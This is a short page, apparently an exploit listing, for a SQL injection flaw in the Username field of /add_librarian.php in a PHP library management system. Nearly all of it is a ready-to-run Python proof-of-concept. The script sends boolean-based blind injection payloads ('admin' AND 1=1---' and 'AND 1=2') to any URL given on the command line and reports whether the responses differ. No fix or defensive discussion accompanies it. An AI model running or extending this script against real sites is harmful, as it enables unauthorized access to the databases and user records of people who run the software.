CVE-2025-13253: Advanced Library Management System 1.0 /add_librarian.php SQL注入漏洞

import requests import sys # CVE-2025-13253 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # Endpoint: /add_librarian.php # Parameter: Username def exploit_sqli(target_url, payload): """ Exploit SQL injection in add_librarian.php Username parameter """ target = target_url.rstrip('/') + '/add_librarian.php' # Basic boolean-based blind SQL injection payload data = { 'Username': payload, 'Password': 'test123', 'FirstName': 'Test', 'LastName': 'User', 'Email': '[email protected]', 'Phone': '1234567890', 'submit': 'Add' } try: response = requests.post(target, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def verify_vulnerability(target_url): """ Verify vulnerability existence using boolean-based blind SQLi """ # True condition - should return normally true_payload = "admin' AND 1=1---" # False condition - should cause error or different response false_payload = "admin' AND 1=2---" print(f"[*] Testing target: {target_url}") print("[*] Sending true condition payload...") true_resp = exploit_sqli(target_url, true_payload) print("[*] Sending false condition payload...") false_resp = exploit_sqli(target_url, false_payload) if true_resp and false_resp: if true_resp.status_code != false_resp.status_code or true_resp.text != false_resp.text: print("[+] Vulnerability confirmed!") return True print("[-] Vulnerability not detected") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/library") sys.exit(1) target = sys.argv[1] verify_vulnerability(target)